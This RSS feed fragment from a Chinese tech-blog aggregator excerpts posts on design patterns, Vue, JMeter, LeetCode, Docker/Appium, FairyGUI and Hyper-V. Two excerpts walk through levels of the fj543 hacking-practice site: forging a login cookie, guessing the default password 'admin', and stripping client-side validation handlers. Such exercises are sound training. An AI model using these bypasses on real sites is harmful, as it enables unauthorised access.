      <guid>https://bchobby.github.io/posts/475a2ddea88e1145a713092ed47b3fbe/</guid>
      <description>在软件开发中，会遇到有些问题多次重复出现，而且有一定的相似性和规律性。如果将它们归纳成一种简单的语言，那么这些问题实例将是该语言的一些句子，这样就可以用“编译原理”中的解释器模式来实现了。&#xA;一，模式的定义与特点 解释器（Interpreter）模式的定义：给分析对象定义一个语言，并定义该语言的文法表示，再设计一个解析器来解释语言中的句子。也就是说，用编译语言的方式来分析应用中的实例。这种模式实现了文法表达式处理的接口，该接口解释一个特定的上下文。&#xA;这里提到的文法和句子的概念同编译原理中的描述相同，“文法”指语言的语法规则，而“句子”是语言集中的元素。例如，汉语中的句子有很多，“我是中国人”是其中的一个句子，可以用一棵语法树来直观地描述语言中的句子。&#xA;解释器模式是一种类行为型模式，其主要优点如下。&#xA;扩展性好。由于在解释器模式中使用类来表示语言的文法规则，因此可以通过继承等机制来改变或扩展文法。容易实现。在语法树中的每个表达式节点类都是相似的，所以实现其文法较为容易。 解释器模式的主要缺点如下。&#xA;执行效率较低。解释器模式中通常使用大量的循环和递归调用，当要解释的句子较复杂时，其运行速度很慢，且代码的调试过程也比较麻烦。会引起类膨胀。解释器模式中的每条规则至少需要定义一个类，当包含的文法规则很多时，类的个数将急剧增加，导致系统难以管理与维护。可应用的场景比较少。在软件开发中，需要定义语言文法的应用实例非常少，所以这种模式很少被使用到。 二，模式的结构与实现 解释器模式常用于对简单语言的编译或分析实例中，为了掌握好它的结构与实现，必须先了解编译原理中的“文法、句子、语法树”等相关概念。&#xA;文法 文法是用于描述语言的语法结构的形式规则。没有规矩不成方圆，例如，有些人认为完美爱情的准则是“相互吸引、感情专一、任何一方都没有恋爱经历”，虽然最后一条准则较苛刻，但任何事情都要有规则，语言也一样，不管它是机器语言还是自然语言，都有它自己的文法规则。例如，中文中的“句子”的文法如下。&#xA;〈句子〉::=〈主语〉〈谓语〉〈宾语〉 〈主语〉::=〈代词〉|〈名词〉 〈谓语〉::=〈动词〉 〈宾语〉::=〈代词〉|〈名词〉 〈代词〉你|我|他 〈名词〉7大学生I筱霞I英语 〈动词〉::=是|学习 注：这里的符号“::=”表示“定义为”的意思，用“〈”和“〉”括住的是非终结符，没有括住的是终结符。&#xA;句子 句子是语言的基本单位，是语言集中的一个元素，它由终结符构成，能由“文法”推导出。例如，上述文法可以推出“我是大学生”，所以它是句子。&#xA;语法树 语法树是句子结构的一种树型表示，它代表了句子的推导结果，它有利于理解句子语法结构的层次。图 1 所示是“我是大学生”的语法树。&#xA;有了以上基础知识，现在来介绍解释器模式的结构就简单了。解释器模式的结构与组合模式相似，不过其包含的组成元素比组合模式多，而且组合模式是对象结构型模式，而解释器模式是类行为型模式。&#xA;1.模式的结构 解释器模式包含以下主要角色。&#xA;抽象表达式（Abstract Expression）角色：定义解释器的接口，约定解释器的解释操作，主要包含解释方法 interpret()。终结符表达式（Terminal Expression）角色：是抽象表达式的子类，用来实现文法中与终结符相关的操作，文法中的每一个终结符都有一个具体终结表达式与之相对应。非终结符表达式（Nonterminal Expression）角色：也是抽象表达式的子类，用来实现文法中与非终结符相关的操作，文法中的每条规则都对应于一个非终结符表达式。环境（Context）角色：通常包含各个解释器需要的数据或是公共的功能，一般用来传递被所有解释器共享的数据，后面的解释器可以从这里获取这些值。客户端（Client）：主要任务是将需要分析的句子或表达式转换成使用解释器对象描述的抽象语法树，然后调用解释器的解释方法，当然也可以通过环境角色间接访问解释器的解释方法。 2.模式的实现 解释器模式实现的关键是定义文法规则、设计终结符类与非终结符类、画出结构图，必要时构建语法树。&#xA;//抽象表达式类 interface AbstractExpression { public void interpret(String info); //解释方法 } //终结符表达式类 class TerminalExpression implements AbstractExpression { public void interpret(String info) { //对终结符表达式的处理 } } //非终结符表达式类 class NonterminalExpression implements AbstractExpression { private AbstractExpression exp1; private AbstractExpression exp2; public void interpret(String info) { //非对终结符表达式的处理 } } //环境类 class Context { private AbstractExpression exp; public Context() { //数据初始化 } public void operation(String info) { //调用相关表达式类的解释方法 } } 三，模式的应用场景 前面介绍了解释器模式的结构与特点，下面分析它的应用场景。</description>
    </item>
    <item>
      <title>行为型模式之备忘录模式</title>
      <link>https://bchobby.github.io/posts/c586ada33af84bf18499cb0f4a2a1e78/</link>
      <pubDate>Thu, 27 May 2021 20:24:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c586ada33af84bf18499cb0f4a2a1e78/</guid>
      <description>一，模式的定义与特点 在不破坏封装性的前提下，捕获一个对象的内部状态，并在该对象之外保存这个状态，以便以后当需要时能将该对象恢复到原先保存的状态。该模式又叫快照模式。&#xA;备忘录模式是一种对象行为型模式，其主要优点如下。&#xA;提供了一种可以恢复状态的机制。当用户需要时能够比较方便地将数据恢复到某个历史的状态。实现了内部状态的封装。除了创建它的发起人之外，其他对象都不能够访问这些状态信息。简化了发起人类。发起人不需要管理和保存其内部状态的各个备份，所有状态信息都保存在备忘录中，并由管理者进行管理，这符合单一职责原则。 其主要缺点是：资源消耗大。如果要保存的内部状态信息过多或者特别频繁，将会占用比较大的内存资源。&#xA;二，模式的结构与实现 备忘录模式的核心是设计备忘录类以及用于管理备忘录的管理者类。&#xA;1.模式的结构 备忘录模式的主要角色如下。&#xA;发起人（Originator）角色：记录当前时刻的内部状态信息，提供创建备忘录和恢复备忘录数据的功能，实现其他业务功能，它可以访问备忘录里的所有信息。备忘录（Memento）角色：负责存储发起人的内部状态，在需要的时候提供这些内部状态给发起人。管理者（Caretaker）角色：对备忘录进行管理，提供保存与获取备忘录的功能，但其不能对备忘录的内容进行访问与修改。 2.模式的实现 public class MementoPattern { public static void main(String[] args) { Originator or = new Originator(); Caretaker cr = new Caretaker(); or.setState(&#34;S0&#34;); System.out.println(&#34;初始状态:&#34; + or.getState()); cr.setMemento(or.createMemento()); //保存状态 or.setState(&#34;S1&#34;); System.out.println(&#34;新的状态:&#34; + or.getState()); or.restoreMemento(cr.getMemento()); //恢复状态 System.out.println(&#34;恢复状态:&#34; + or.getState()); } } //备忘录 class Memento { private String state; public Memento(String state) { this.state = state; } public void setState(String state) { this.state = state; } public String getState() { return state; } } //发起人 class Originator { private String state; public void setState(String state) { this.</description>
    </item>
    <item>
      <title>行为型模式之迭代器模式</title>
      <link>https://bchobby.github.io/posts/734460d9000713b46b3bbbc78fb9e44e/</link>
      <pubDate>Thu, 27 May 2021 20:23:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/734460d9000713b46b3bbbc78fb9e44e/</guid>
      <description>现实生活以及程序设计中，经常要访问一个聚合对象中的各个元素，如“数据结构”中的链表遍历，通常的做法是将链表的创建和遍历都放在同一个类中，但这种方式不利于程序的扩展，如果要更换遍历方法就必须修改程序源代码，这违背了 “开闭原则”。&#xA;既然将遍历方法封装在聚合类中不可取，那么聚合类中不提供遍历方法，将遍历方法由用户自己实现是否可行呢？答案是同样不可取，因为这种方式会存在两个缺点：&#xA;暴露了聚合类的内部表示，使其数据不安全；增加了客户的负担。 “迭代器模式”能较好地克服以上缺点，它在客户访问类与聚合类之间插入一个迭代器，这分离了聚合对象与其遍历行为，对客户也隐藏了其内部细节，且满足“单一职责原则”和“开闭原则”，如 [Java] 中的 Collection、List、Set、Map 等都包含了迭代器。&#xA;迭代器模式在生活中应用的比较广泛，比如：物流系统中的传送带，不管传送的是什么物品，都会被打包成一个个箱子，并且有一个统一的二维码。这样我们不需要关心箱子里是什么，在分发时只需要一个个检查发送的目的地即可。再比如，我们平时乘坐交通工具，都是统一刷卡或者刷脸进站，而不需要关心是男性还是女性、是残疾人还是正常人等信息。&#xA;一，模式的定义与特点 迭代器（Iterator）模式的定义：提供一个对象来顺序访问聚合对象中的一系列数据，而不暴露聚合对象的内部表示。迭代器模式是一种对象行为型模式，其主要优点如下。&#xA;访问一个聚合对象的内容而无须暴露它的内部表示。遍历任务交由迭代器完成，这简化了聚合类。它支持以不同方式遍历一个聚合，甚至可以自定义迭代器的子类以支持新的遍历。增加新的聚合类和迭代器类都很方便，无须修改原有代码。封装性良好，为遍历不同的聚合结构提供一个统一的接口。 其主要缺点是：增加了类的个数，这在一定程度上增加了系统的复杂性。&#xA;在日常开发中，我们几乎不会自己写迭代器。除非需要定制一个自己实现的数据结构对应的迭代器，否则，开源框架提供的 API 完全够用。&#xA;二，模式的结构与实现 迭代器模式是通过将聚合对象的遍历行为分离出来，抽象成迭代器类来实现的，其目的是在不暴露聚合对象的内部结构的情况下，让外部代码透明地访问聚合的内部数据。&#xA;1.模式的结构 迭代器模式主要包含以下角色。&#xA;抽象聚合（Aggregate）角色：定义存储、添加、删除聚合对象以及创建迭代器对象的接口。具体聚合（ConcreteAggregate）角色：实现抽象聚合类，返回一个具体迭代器的实例。抽象迭代器（Iterator）角色：定义访问和遍历聚合元素的接口，通常包含 hasNext()、first()、next() 等方法。具体迭代器（Concretelterator）角色：实现抽象迭代器接口中所定义的方法，完成对聚合对象的遍历，记录遍历的当前位置。 2.模式的实现 public class IteratorPattern { public static void main(String[] args) { Aggregate ag = new ConcreteAggregate(); ag.add(&#34;中山大学&#34;); ag.add(&#34;华南理工&#34;); ag.add(&#34;韶关学院&#34;); System.out.print(&#34;聚合的内容有：&#34;); Iterator it = ag.getIterator(); while (it.hasNext()) { Object ob = it.next(); System.out.print(ob.toString() + &#34;\t&#34;); } Object ob = it.first(); System.out.println(&#34;\nFirst：&#34; + ob.toString()); } } //抽象聚合 interface Aggregate { public void add(Object obj); public void remove(Object obj); public Iterator getIterator(); } //具体聚合 class ConcreteAggregate implements Aggregate { private List&amp;lt;Object&amp;gt; list = new ArrayList&amp;lt;Object&amp;gt;(); public void add(Object obj) { list.</description>
    </item>
    <item>
      <title>Vue 06 下</title>
      <link>https://bchobby.github.io/posts/f8a01c51574f9cf87397c9670aedd786/</link>
      <pubDate>Thu, 27 May 2021 18:07:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8a01c51574f9cf87397c9670aedd786/</guid>
      <description>Vue 06 前端工程化 基本概念介绍 软件工程：可行性分析、需求分析、设计（概要设计、详细设计）、软件开发、测试、实施（运维）&#xA;前端工程化：独立的设计、独立的开发、独立测试、独立运维&#xA;为了实现更加方便的前端工程化，Vue的技术栈提供了一个非常方便的工具：脚手架。&#xA;脚手架可以非常方便快速的让前端开发人员基于前端工程化的模式进行项目开发&#xA;脚手架基本使用 安装脚手架 npm install -g @vue/cli 查看版本号 # 如果看到了版本号就证明安装成功了 vue --version 基于脚手架创建项目 # project-demo 为项目的名称 vue create mydemo 启动项目 # 切换到项目目录 cd mydemo # 启动项目 npm run serve 浏览器地址栏输入如下地址，如果能看到页面效果，证明项目已经启动成功 http://localhost:8080/ 脚手架项目结构分析 |-public -----------------------------------------------单页面&#xA;|-src --------------------------------------------------项目源代码 |-assets -------------------------------------------项目用到的相关资源&#xA;|-components ---------------------------------------Vue组件 |-App.vue ------------------------------------------项目跟组件 |-main.js ------------------------------------------项目入口文件&#xA;|-.gitignore -------------------------------------------git配置文件（忽略文件管理）&#xA;|-babel.config.js --------------------------------------babel配置文件（控制ES6编译）&#xA;|-package.json -----------------------------------------项目包管理文件&#xA;|-README.md --------------------------------------------项目说明文档&#xA;ES6模块化开发 CommonJS模块化规范&#xA;1.导出 module.exports = {}&#xA;2.导入 require()&#xA;Node.js中的模块化导入和导出&#xA;导出：module.exports</description>
    </item>
    <item>
      <title>JMeter-响应断言</title>
      <link>https://bchobby.github.io/posts/6b20e42c142289073b69a6152eed9d50/</link>
      <pubDate>Thu, 27 May 2021 17:44:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b20e42c142289073b69a6152eed9d50/</guid>
      <description>前言： 断言用于对采样器执行结果的检查，并在同一范围内的每个采样器之后进行处理。如果要对某个采样器进行断言，直接将断言添加到采样器的子集即可。&#xA;为什么要用断言？&#xA;JMeter以及Postman等接口测试工具，他们都是基于协议进行工作的，使用这些工具进行发送请求，当请求发送成功的时候（即协议发送成功），在查看结果树中请求样本显示绿色。比如协议状态码是200就是成功，也是仅仅代表协议发送成功，但是业务不一定成功。有可能是协议发送成功了，但是业务没有成功，但是JMeter默认不做判断。那么想要校验业务成功还是失败，就得需要进行断言，断言根据接口的响应进行断言，一般主要断言业务状态码以及messege等信息。&#xA;1、新建响应断言 2、怎么判断JMeter响应断言成功？&#xA;举个实JMeter断言成功，在查看结果树中请求是绿色，看不到断言成功的信息。当JMeter断言失败的时候，结果树中显示为红色，可以看到断言失败的信息。&#xA;2、响应断言 断言页面的解释： 一、Apply to:&#xA;1.名称：自行定义，就是节点的名称&#xA;2.注释：节点的注释，容易理解的解释&#xA;3.Apply to:断言可以应用于主样本，子样本或者两者。默认断言是第二个，断言应用于主样本。&#xA;（1）Main sample and sub-samples：主样本和子样本&#xA;（2）Main sample only：仅主样本&#xA;（3）Sub-samples only：仅子样本&#xA;（4）JMeter Variable Name to use：JMeter使用变量名字，断言将应用于命名变量的内容&#xA;正则表达式与响应断言结合： 这里讲一下JMeter Variable Name to use：JMeter使用变量名字，断言将应用于命名变量的内容。我尝试了一下，可以这样用，有错的麻烦提出。&#xA;断言正确，如果正则中的变量名和断言中的变量名不一致，断言则会失败。&#xA;3、模式匹配规则(Pattern Mactching Rules) 1.包括(Contains)：返回的结果包括所指定的内容，支持正则匹配&#xA;接口的响应&#xA;进行断言，断言通过。&#xA;2.匹配：&#xA;与Equals几乎一样，都是断言要和返回值完全一致。不同的是，这里支持正则，写正则表达式时，正则表达式也要完全和返回值匹配，才能够通过。&#xA;3.Equals:&#xA;返回结果与你指定断言完全一致，不支持正则匹配。注意是完全一致，这个只有一个特殊情况会用到，一般很少用。&#xA;4.SubString&#xA;与“包括”功能类似，不同点为，不支持正则匹配。&#xA;5.否&#xA;反之，非 的意思&#xA;6.或者&#xA;可以为多个值，可在下面，例如一个断言里面可能有两个不同的判断值，可以选中去用，当满足一个要求的时候，就算成功。这个功能还是可以多用的，像上面那个例子，多断言几种情况。&#xA;4、Custom failure message功能 在查看结果树中可以看到刚才填写的断言的信息：</description>
    </item>
    <item>
      <title>力扣解题思路：面试题 17.13. 恢复空格 纠错记录</title>
      <link>https://bchobby.github.io/posts/047da228a8f50d8303fdccb71475d934/</link>
      <pubDate>Thu, 27 May 2021 16:49:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/047da228a8f50d8303fdccb71475d934/</guid>
      <description>面试题 17.13. 恢复空格 思路：&#xA;先看错误答案：&#xA;public int respace(String[] dictionary, String sentence) { int[] dp = new int[sentence.length()+1]; for(int i=0;i&amp;lt;=sentence.length();i++) dp[i] = i; for(int i=1;i&amp;lt;=sentence.length();++i){ for(String word:dictionary){ if(word.length()&amp;lt;=i){ if(word.equals(sentence.substring(i-word.length(),i))) dp[i]=Math.min(dp[i-1]+1,Math.min(dp[i],dp[i-word.length()])); } } } return dp[sentence.length()]; } 很常见的动态规划，但是测试用例的输出结果总是比实际大，仔细看会发现中间的两层if循环是有问题的，因为一旦这两个if其中有一个的结果不为true，动态数组将不被更新，这就是问题所在，所以我们应该加个else，不过如果加else可能要加两个，不如最后做个统一处理：&#xA;public int respace(String[] dictionary, String sentence) { int[] dp = new int[sentence.length()+1]; for(int i=0;i&amp;lt;=sentence.length();i++) dp[i] = i; for(int i=1;i&amp;lt;=sentence.length();++i){ for(String word:dictionary){ if(word.length()&amp;lt;=i){ if(word.equals(sentence.substring(i-word.length(),i))) dp[i]=Math.min(dp[i],dp[i-word.length()]); } dp[i] = Math.min(dp[i],dp[i-1]+1); } } return dp[sentence.length()]; } 这个处理器是也可以放在前面，也就是第一层循环下（因为这里必须会执行），这时候甚至可以代替初始化，因此不用再初始化了（但是dp[0] = 0是需要的）：</description>
    </item>
    <item>
      <title>fj543-第3关</title>
      <link>https://bchobby.github.io/posts/03684604a3e27504b7e3ab6fa3047c11/</link>
      <pubDate>Thu, 27 May 2021 09:53:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03684604a3e27504b7e3ab6fa3047c11/</guid>
      <description>第3关地址：http://www.fj543.com/hack/?level=3login&#xA;都没有登录界面，我也不知道自己登录了没有。&#xA;正常情况下，登录状态都是和Session绑定的，会放在服务器。&#xA;但是也不排除一部分信息放在Cookie，于是尝试查看。&#xA;login为no，这个就是所谓的“说我没有登录”吧？&#xA;我说我登录了呢？&#xA;修改后，刷新网页就通关了。&#xA;New Way：&#xA;猜测默认密码为：admin。&#xA;收获：知道编辑Cookie了。</description>
    </item>
    <item>
      <title>fj543-第2关</title>
      <link>https://bchobby.github.io/posts/13183ebafdc14e75414239f153bb2eb9/</link>
      <pubDate>Thu, 27 May 2021 09:53:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13183ebafdc14e75414239f153bb2eb9/</guid>
      <description>第2关地址：http://www.fj543.com/hack/?level=222&#xA;直接查看源代码。&#xA;看chkPassword始终返回false，表单无法提交。&#xA;这里的代码可以直接编辑生效（比如删掉οnsubmit=&#34;return chkPassword()&#34;），但是对已经绑定的事件不起作用。&#xA;此时可以用Event Listeners标签查看当前元素绑定的事件。&#xA;Remove掉即可点进下一关。&#xA;第3关地址：http://www.fj543.com/hack/?level=3login&#xA;收获：使用Event Listeners标签查看当前元素绑定的事件。</description>
    </item>
    <item>
      <title>docker android模拟器,「docker实战篇」python的docker-创建appium容器以及设置appium容器连接安卓模拟器（31）...</title>
      <link>https://bchobby.github.io/posts/da5ae1c638fb22a92dbaa516156c8c75/</link>
      <pubDate>Thu, 27 May 2021 05:21:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da5ae1c638fb22a92dbaa516156c8c75/</guid>
      <description>上一节已经下载好了appium的镜像，接下来说下如何创建appium如何创建容器和模拟器如何连接appium容器。源码：https://github.com/limingios/dockerpython.git (源码/「docker实战篇」python的docker-创建appium容器以及设置appium容器连接安卓模拟器(30))&#xA;appium的docker镜像的介绍&#xA;&amp;gt;官网地址：https://github.com/appium/appium-docker-android&#xA;启动appium容器&#xA;docker run --privileged -d -p 4723:4723 --name appium1 appium/appium&#xA;说明启动成功&#xA;容器启动后，启动安卓模拟器&#xA;&amp;gt;启动安卓模拟器后，通过cmd输入&#xA;adb devices&#xA;改变连接方式，从usb更改为tcp-ip的方式&#xA;adb -s 127.0.0.1:62001 tcpip 55555&#xA;使用docker的appium连接模拟器&#xA;1.设置成桥接&#xA;重启模拟器，可能无法获取ip，点击下开关，然后自动获取下就可以了。&#xA;2.查看模拟器的ip地址&#xA;虚拟机docker连接模拟器&#xA;ping 192.168.1.120&#xA;docker exec -it appium1 adb connect 192.168.1.120:55555&#xA;docker exec -it appium1 adb devices&#xA;4.测试python，运行docker appium，运行模拟器&#xA;启动&#xA;docker ps -a&#xA;docker logs -f appium1&#xA;python代码&#xA;#!/usr/bin/env python&#xA;# -*- coding: utf-8 -*-&#xA;# @Time : 2019/3/12 15:11&#xA;# @Author : Aries</description>
    </item>
    <item>
      <title>fairygui绑定android,FairyGUI在Cocos2d-x下的多平台接入和lua绑定</title>
      <link>https://bchobby.github.io/posts/9ab0384e9255f88a0151f91514a3c054/</link>
      <pubDate>Wed, 26 May 2021 22:51:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ab0384e9255f88a0151f91514a3c054/</guid>
      <description>接入前确保你的项目在接入前可以通过cocos compile -p xxx 命令正常编译打包，每接入一个平台都可以通过此命令编译打包以确认是否接入正常。&#xA;预备&#xA;复制libfairygui到frameworks\cocos2d-x\cocos\editor-support\fairygui&#xA;修改CCLabel.h的672行，void updateBMFontScale();前添加virtual&#xA;绑定tolua&#xA;编写cocos2d-x\tools\tolua\cocos2dx_fairygui.ini，修改ini里的headers字段，后面添加LuaBasicConversions_fairygui.h，这样生成的auto文件才会inlucde。还是用我的吧。&#xA;修改 cocos2d-x\tools\tolua\genbindings.py，添加fairygui一行：&#xA;&#39;cocos2dx_fairygui.ini&#39; : (&#39;cocos2dx_fairygui&#39;, &#39;lua_cocos2dx_fairygui_auto&#39;), \&#xA;修改cocos2d-x\tools\bindings-generator\targets\lua\conversions.yaml里的ns_map:下添加fairygui的命名空间&#34;fairygui::&#34;: &#34;fgui.&#34;，另外，还要分别在中间和底部添加下面代码，以便处理Margin类型的转换。&#xA;&#34;Margin&#34;: &#34;ok &amp;amp;= luaval_to_margin(tolua_S, ${arg_idx}, &amp;amp;${out_value}, \&#34;${lua_namespaced_class_name}:${func_name}\&#34;)&#34;&#xA;&#34;Margin&#34;: &#34;margin_to_luaval(tolua_S, ${in_value})&#34;&#xA;在frameworks\cocos2d-x\cocos\scripting\lua-bindings\manual下新建fairygui目录，把下面四个文件拷进去。&#xA;lua_cocos2dx_fairygui_manual.hpp&#xA;lua_cocos2dx_fairygui_manual.cpp&#xA;LuaBasicConversions_fairygui.h&#xA;LuaBasicConversions_fairygui.cpp&#xA;在cmd中，切换到frameworks\cocos2d-x\tools\tolua目录，运行python genbindings.py，正常的话会在frameworks\cocos2d-x\cocos\scripting\lua-bindings\auto生成两个文件：&#xA;lua_cocos2dx_fairygui_auto.hpp&#xA;lua_cocos2dx_fairygui_auto.cpp&#xA;修改frameworks\cocos2d-x\cocos\scripting\lua-bindings\manual\lua_module_register.cpp，添加&#xA;#include &#34;scripting/lua-bindings/manual/fairygui/lua_cocos2dx_fairygui_manual.hpp&#34;&#xA;在lua_module_register中添加&#xA;register_all_cocos2dx_fairygui_manual(L);&#xA;接入Win32&#xA;在VS工程右键“添加” “现有项目”，找到libfairygui.vcxproj，在VS左侧下端选择“属性管理器”，展开libfairygui，在Debug和Release中分别添加现有属性表“cocos2dx.props”和“cocos2d_headers.props”，在cocos2d\2d目录下可以找到。&#xA;在VS中的libluacocos2d下的manual中新建项fairygui，并把四个文件添加进去。&#xA;打开属性表的“cocos2dx.props”,通用属性|链接器|输入|附加依赖项，添加libfairygui.lib&#xA;接入ios_mac&#xA;在xcode里的cocos2d_libs.xcodeproj下的editor-support下添加fairygui的引用，然后在Build Settings的左上角，选择cocos2d_libs(注意是蓝色图标)，在User Header Search Paths中添加${SRCROOT}/../cocos/editor-support/fairygui/Classes。然后在cocos2d_lua_bindings.xcodeproj的auto和manual里添加对应的文件，貌似就可以了。&#xA;接入android&#xA;修改frameworks\cocos2d-x\cocos\Android.mk，在适当的位置添加&#xA;LOCAL_STATIC_LIBRARIES += fairygui_static&#xA;$(call import-module,editor-support/fairygui)&#xA;修改frameworks\cocos2d-x\cocos\scripting\lua-bindings\proj.android\Android.mk，&#xA;在适当的位置添加&#xA;LOCAL_SRC_FILES += ../manual/fairygui/lua_cocos2dx_fairygui_manual.cpp \&#xA;../manual/fairygui/LuaBasicConversions_fairygui.cpp \</description>
    </item>
    <item>
      <title>win10 Hyper-V安装配置ubuntu虚拟机</title>
      <link>https://bchobby.github.io/posts/c12d3c0b9f98bce9526b75140b595a63/</link>
      <pubDate>Wed, 26 May 2021 18:32:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c12d3c0b9f98bce9526b75140b595a63/</guid>
      <description>win10 Hyper-V安装配置ubuntu虚拟机 启用Hyper-V 开始-&amp;gt;设置-&amp;gt;应用-&amp;gt;程序和功能-&amp;gt;启用或关闭Windows功能。&#xA;在打开的窗口中，选择“Hyper-V”，弃选“适用于Linux的Windows子系统”和“虚拟机平台”。&#xA;重启。&#xA;win键-&amp;gt;Windows管理工具-&amp;gt;Hyper-V管理器，就是win10自带的虚拟机管理程序了。&#xA;Hyper-V的虚拟交换机原理 Hyper-V创造了虚拟交换机的概念，把所有的虚拟机连接到虚拟交换机，虚拟交换机连接到网络。&#xA;虚拟交换机的类型有3种：&#xA;外部虚拟交换机&#xA;绑定到物理网络适配器，从而直连物理网络。虚拟机通过虚拟交换机向网络申请独立的IP地址访问物理网络。在这种模式下，物理计算机（宿主机）也允许被视作连接到外部虚拟交换机的一个设备，地位和其他虚拟机相同。 如果外部虚拟交换机选择和宿主机共享网络适配器，则宿主机也连接到外部虚拟交换机，通过外部虚拟交换机上网。&#xA;如果外部虚拟交换机选择不和宿主机共享网络适配器，那么宿主机连接到另一个物理网络适配器，或者不能连接网络（在物理计算机只有一个物理网络适配器的情况下）。&#xA;内部虚拟交换机&#xA;介于物理计算机（宿主机）和虚拟机之间，只能用于虚拟机之间以及虚拟机和物理计算机之间的连接。内部虚拟交换机不提供与物理网络之间的连接，但只要物理计算机可以上网，内部虚拟交换机能自动使用NAT(网络地址转换)向虚拟机提供计算机网络的访问权限。 宿主机通过物理网络适配器连接网络，同时通过虚拟网络适配器连接内部虚拟交换机，和其他虚拟机通信。虚拟机通过内部虚拟交换机的NAT功能，通过宿主机访问网络。&#xA;专用虚拟交换机&#xA;和内部虚拟交换机类似，但物理计算机（宿主机）和虚拟机之间无法连接。 宿主机不连接专用虚拟交换机，故无法和虚拟机通信。虚拟机也无法上网。&#xA;NIC: Network Interface Card。网络适配器，俗称网卡或网络接口卡。&#xA;创建虚拟交换机 Hyper-V默认创建了内部虚拟交换机。&#xA;可以用Hyper-V管理器的“虚拟交换机管理器”创建新的虚拟交换机：&#xA;创建外部虚拟交换机时，可以配置是否和宿主机共享物理网络适配器:&#xA;可以创建多个虚拟交换机。&#xA;虚拟机的网络适配器随时可以更换连接到的虚拟交换机，非常方便。&#xA;管理操作系统：是指起管理作用的操作系统，这个操作系统负责管理所有的虚拟机。一般情况下，宿主机的操作系统就是管理操作系统。&#xA;创建虚拟机 从ubuntu官网下载镜像文件ubuntu-20.04.2.0-desktop-amd64.iso。&#xA;启动Hyper-V管理器，新建-&amp;gt;虚拟机。弹出新建虚拟机向导，然后逐项填写。&#xA;指定名称和位置&#xA;名称：VirtualUbuntu，可自己决定。&#xA;位置：勾选“将虚拟机存储在其他位置”，位置为“D:\ubuntu”，可自己决定。指定代数&#xA;选择第二代，功能更新一点。分配内存&#xA;启动内存：2048MB。可自己决定。&#xA;勾选“为此虚拟机使用动态内存”，虚拟机在内存不够时可继续扩展内存。配置网络&#xA;配置虚拟机的网络适配器连接到哪个虚拟交换机。可选择连接Default Switch，也可以连接其他的虚拟交换机。Default Switch是Hyper-V创建的使用NAT模式的内部虚拟交换机。这个配置在虚拟机创建后，也是可以随时修改的。Hyper-V的虚拟交换机有3种类型，虚拟机创建完成后，仍然可以配置其网络适配器，切换连接到的虚拟交换机。连接虚拟硬盘&#xA;勾选“创建虚拟硬盘”，大小200GB，可自己决定。安装选项&#xA;勾选“从可启动的映像文件安装操作系统”，然后填写映像文件ubuntu-20.04.2.0-desktop-amd64.iso的位置。 配置完成后的摘要如下：&#xA;然后再设置一下虚拟机：&#xA;安全：取消“启用安全启动”。因为启用安全启动后，安装iso时会报错。内存：勾选“启用动态内存”，最大RAM 8192MB，可自己决定。网络适配器：根据情况选择连接合适的虚拟交换机。因为公司电脑只允许一个IP且绑定了MAC地址，所以我选择Default Switch，这是Hyper-V默认创建的内部虚拟交换机。如果网络允许为一台电脑分配多个IP，可以考虑连接外部虚拟交换机，这样虚拟机可以直接上网，可以被外网机器发现并连接。如果连接内部虚拟交换机，虚拟机只能被其他虚拟机或者宿主机发现并连接。 关闭虚拟机后可随时修改虚拟机的设置。&#xA;在虚拟机中安装ubuntu 选择之前创建的虚拟机，连接。&#xA;进入虚拟机界面后，点击启动，就进入安装了。安装过程和普通安装基本一样。我选择了“最小安装”，取消“安装Ubuntu时下载更新”，以加快安装速度。&#xA;配置ubuntu 安装完成，重启ubuntu。然后配置一些服务，方便在宿主机中操作ubuntu系统。&#xA;ssh service sudo apt install -y openssh-server&#xA;/etc/init.d/ssh是脚本文件，start, stop, status命令都在里面，例如：&#xA;service ssh status sudo service ssh start sudo service ssh stop /etc/ssh/sshd_config是配置文件，man sshd_config可以看到详细配置说明。</description>
    </item>
    <item>
      <title>手机版本android升级包下载,ColorOS8.0升级包下载安装-oppo手机系统ColorOS8.0正式版升级包下载 安卓版 v1.0- 游娱下载站...</title>
      <link>https://bchobby.github.io/posts/a78ca475215109a59d424cfb360d83b4/</link>
      <pubDate>Wed, 26 May 2021 13:54:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a78ca475215109a59d424cfb360d83b4/</guid>
      <description>Tags： 系统工具&#xA;ColorOS8.0升级包是oppo手机推出的最新一代系统，这代8.0系统相比较前一代，在各种方面都有着不小的提升，特别是简洁的主题桌面和流畅如丝滑般的操作体验，深受众多oppo手机用户喜爱，它目前只应用于oppoOPPO Find X2和OPPO Ace2这两种旗舰机型，有需要的话快来尝鲜下载吧！&#xA;ColorOS8.0升级包亮点&#xA;1、有很多oppo用户都在猜测这次的系统更新，会是什么版本的系统体验；&#xA;2、会给用户带来什么样的体验，如何来参与这次的招募，用户可以在平台进入招募入口；&#xA;3、作为大版本升级，其带来了诸多贴心的功能，让系统变得更加智能与人性化。&#xA;ColorOS8.0升级包优势&#xA;1、提供给大家各种不同的方式，能更好的让你找到更新后的体验感；&#xA;2、整个系统的感觉还是很方便有趣的，而且看上去也很智能高级化；&#xA;3、页面的色彩很好看，还有一些比较好看的护眼功能，很实用。&#xA;ColorOS8.0升级包特色&#xA;1、全新的交互升级以及更加强大的功能抢先体验，大家可以选择进行下载抢先体验；&#xA;2、更有更加舒适的人性化设计等待用户前来体验，全新升级的系统也为广大用户们带来了更多不一样的体验；&#xA;3、不管是整个界面还是相关操作方面都得到了优化，整个体验感更流畅，还新增了智能家居控制功能。</description>
    </item>
    <item>
      <title>当storm的ui界面报错：Could not find leader nimbus</title>
      <link>https://bchobby.github.io/posts/a0fe6f34b4fc1946028deb480213d8ab/</link>
      <pubDate>Wed, 26 May 2021 11:31:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0fe6f34b4fc1946028deb480213d8ab/</guid>
